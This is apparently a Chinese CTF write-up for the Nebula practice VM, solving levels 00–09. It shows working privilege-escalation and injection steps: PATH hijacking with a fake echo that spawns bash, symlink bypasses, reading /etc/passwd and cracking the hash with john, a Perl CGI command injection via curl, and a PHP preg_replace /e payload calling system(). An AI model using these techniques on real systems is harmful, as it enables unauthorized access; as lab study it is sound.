Nebula writeup

level00

SUID提权

当s出现在文件拥有者的x位上时,称为Set User ID.如果另一个用户执行该文件,将暂时获得文件拥有者的权限.

s占4分,所以可用以下命令来查找这类文件,

1
2
find / -executable -type f -user flag00 -perm -4000 2>/dev/null
find / -executable -type f -user flag00 -perm /u=s 2>dev/null

level01

环境变量提权

flag01这个文件具有SUID权限,flag01的源码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/usr/bin/env echo and now what?");
}

漏洞触发在system函数,但是没有可以直接控制的变量.注意到/usr/bin/env取了环境变量,程序会到环境变量定义的路径下去寻找echo,

所以我们可以通过修改环境变量来劫持echo程序.

1
2
echo $PATH # 查看当前环境变量
export $PATH=/tmp:$PATH # 设置环境变量(只对当前shell有效)

这样,程序就会执行/tmp目录下的echo,把echo连接到/bin/bash,就能获得用户flag01的shell.

1
ln -s /bin/bash /tmp/echo # 创建软连接

但是后面还有and now what?会导致命令出错,所以,我们直接在/tmp/echo写入要执行的命令就好了,

1
2
#!/bin/bash
/bin/bash

level02

任意程序执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
char *buffer;
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
buffer = NULL;
asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system(\"%s\")\n", buffer);
system(buffer);
}

和level01类似,很容易发现执行命令里/bin/echo %s is cool,%s是通过环境变量可控的,所以修改USER变量,就能执行任意程序.

level03

计划任务提权

题目提示,

1
There is a crontab that is called every couple of minutes.

有个两分钟执行一次的计划任务,这个任务使用flag03用户运行的,找到执行的程序,

程序会遍历执行writable.d目录下的所有文件,然后删除.

而这个目录是我们可写的,所以漏洞产生了.

level04

strstr()绕过

题目让利用flag04来读取token的内容,flag04源码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
int main(int argc, char **argv, char **envp)
{
char buf[1024];
int fd, rc;
if(argc == 1) {
printf("%s [file to read]\n", argv[0]);
exit(EXIT_FAILURE);
}
if(strstr(argv[1], "token") != NULL) {
printf("You may not access '%s'\n", argv[1]);
exit(EXIT_FAILURE);
}
fd = open(argv[1], O_RDONLY);
if(fd == -1) {
err(EXIT_FAILURE, "Unable to open %s", argv[1]);
}
rc = read(fd, buf, sizeof(buf));
if(rc == -1) {
err(EXIT_FAILURE, "Unable to read fd %d", fd);
}
write(1, buf, rc);
}

限制了读取的文件名不能含有”token”,开始我以为只要用个通配符什么的就能绕过,结果不行,因为通配符还是被shell识别为’token’后传入flag04.

所以创建个连接到token就可以绕过了,

level05

秘钥泄露

在flag05用户目录下发现了一个备份文件,并且可读

1
2
3
4
5
level05@nebula:/home/flag05/.backup$ ls -la
total 2
drwxr-xr-x 2 flag05 flag05 42 2011-11-20 20:13 .
drwxr-x--- 4 flag05 level05 93 2012-08-18 06:56 ..
-rw-rw-r-- 1 flag05 flag05 1826 2011-11-20 20:13 backup-19072011.tgz

解压到tmp目录下,发现是秘钥备份,

1
2
3
4
5
level05@nebula:/tmp$ tar -zxvf backup-19072011.tgz
.ssh/
.ssh/id_rsa.pub
.ssh/id_rsa
.ssh/authorized_keys

给权限,

1
level05@nebula:/tmp/.ssh$ chmod 700 id_rsa

然后连接即可,

1
2
3
4
5
6
7
level05@nebula:/tmp/.ssh$ ssh -i id_rsa -p 22 flag05@172.16.44.38
The authenticity of host '172.16.44.38 (172.16.44.38)' can't be established.
ECDSA key fingerprint is ea:8d:09:1d:f1:69:e6:1e:55:c7:ec:e9:76:a1:37:f0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '172.16.44.38' (ECDSA) to the list of known hosts.
flag05@nebula:~$ getflag
You have successfully executed getflag on a target account

level06

HASH破解

提示说flag06账户来自传统Unix系统.那么账户密码是保存在/etc/passwd的,

1
2
level06@nebula:~$ cat /etc/passwd | grep flag06
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh

再用john爆破一下,

1
2
3
4
5
6
7
8
9
10
root@kali:~# echo 'flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh' > ./tmp
root@kali:~# john ./tmp
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (descrypt, traditional crypt(3) [DES 128/128 AVX-16])
Press 'q' or Ctrl-C to abort, almost any other key for status
hello (flag06)
1g 0:00:00:00 DONE 2/3 (2017-10-25 09:50) 14.28g/s 10714p/s 10714c/s 10714C/s 123456..joshua
Use the "--show" option to display all of the cracked passwords reliably
Session completed

得到密码hello.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
level06@nebula:~$ ssh -q flag06@127.0.0.1
flag06@127.0.0.1's password:
Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)
* Documentation: https://help.ubuntu.com/
New release '12.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
flag06@nebula:~$ getflag
You have successfully executed getflag on a target account
flag06@nebula:~$

level07

perl脚本漏洞

在flag07用户目录下有两个文件,很明显是web服务用的,

1
2
level07@nebula:/home/flag07$ ls
index.cgi thttpd.conf

index.cgi,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub ping {
$host = $_[0];
print("<html><head><title>Ping results</title></head><body><pre>");
@output = `ping -c 3 $host 2>&1`;
foreach $line (@output) { print "$line"; }
print("</pre></body></html>");
}
# check if Host set. if not, display normal page, etc
ping(param("Host"));

虽然没学过perl,但也大概能看出来这存在命令注入,

从thttpd.conf可以看到服务器的配置信息,

1
2
3
4
# Specifies an alternate port number to listen on.
port=7007
# Specifies what user to switch to after initialization when started as root.
user=flag07

web服务运行在7007端口上,并以flag07启动,所以漏洞就产生了.

1
2
3
$ curl -s 'http://172.16.44.38:7007/index.cgi?Host=0.0.0.0|getflag'
<html><head><title>Ping results</title></head><body><pre>You have successfully executed g etflag on a target account
</pre></body></html>

level08

流量分析

在flag08用户目录下发现一个流量包,

1
2
level08@nebula:/home/flag08$ ls
capture.pcap

拖到本地进行分析,

1
$ scp level08@172.16.44.38:/home/flag08/capture.pcap ./

随便选个流跟一下TCP,发现一个密码,开始以为可以直接用来登陆flag08,但是不行,

切换到hex模式下,

原来还有不可显示字符,查了ASCII码表后发现7f是删除键,所以最后得到的密码应该是backd00Rmate

1
2
flag08@nebula:~$ getflag
You have successfully executed getflag on a target account

level09

PHP脚本漏洞

flag09用户目录下找到level09.php和SUID程序flag09,

1
2
-rwsr-x--- 1 flag09 level09 7240 2011-11-20 21:22 flag09
-rw-r--r-- 1 root root 491 2011-11-20 21:22 flag09.php

flag09.php,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
function spam($email)
{
$email = preg_replace("/\./", " dot ", $email);
$email = preg_replace("/@/", " AT ", $email);
return $email;
}
function markup($filename, $use_me)
{
$contents = file_get_contents($filename);
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
$contents = preg_replace("/\[/", "<", $contents);
$contents = preg_replace("/\]/", ">", $contents);
return $contents;
}
$output = markup($argv[1], $argv[2]);
print $output;

php脚本接受两个参数,由于正则替换使用了/e模式,所以存在代码注入,猜测使用flag09去执行flag09.php,

PHP可变变量可造成代码执行,例如,

1
2
3
4
5
6
${ phpinfo()}
${TAB键phpinfo()}
${/**/phpinfo()}
${回车phpinfo()}
${@phpinfo()}
${${phpinfo()}}

在tmp目录下写入文件内容,

1
level09@nebula:/home/flag09$ echo '[email ${@system($use_me)}]' > /tmp/exp

然后调用flag09执行,

1
2
3
level09@nebula:/home/flag09$ ./flag09 /tmp/exp getflag
You have successfully executed getflag on a target account
PHP Notice: Undefined variable: You have successfully executed getflag on a target account in /home/flag09/flag09.php(15) : regexp code on line 1

level10

……